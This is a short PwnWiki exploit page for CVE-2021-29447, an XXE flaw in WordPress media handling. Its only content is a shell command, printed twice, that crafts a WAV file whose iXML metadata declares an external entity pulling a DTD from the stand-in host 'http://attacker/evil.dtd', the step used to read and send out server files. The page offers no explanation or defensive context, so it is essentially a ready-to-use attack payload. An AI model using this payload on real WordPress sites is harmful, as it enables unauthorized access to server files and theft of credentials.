CVE-2021-29447 Wordpress XXE漏洞
From PwnWiki
Payload
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://attacker/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://attacker/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav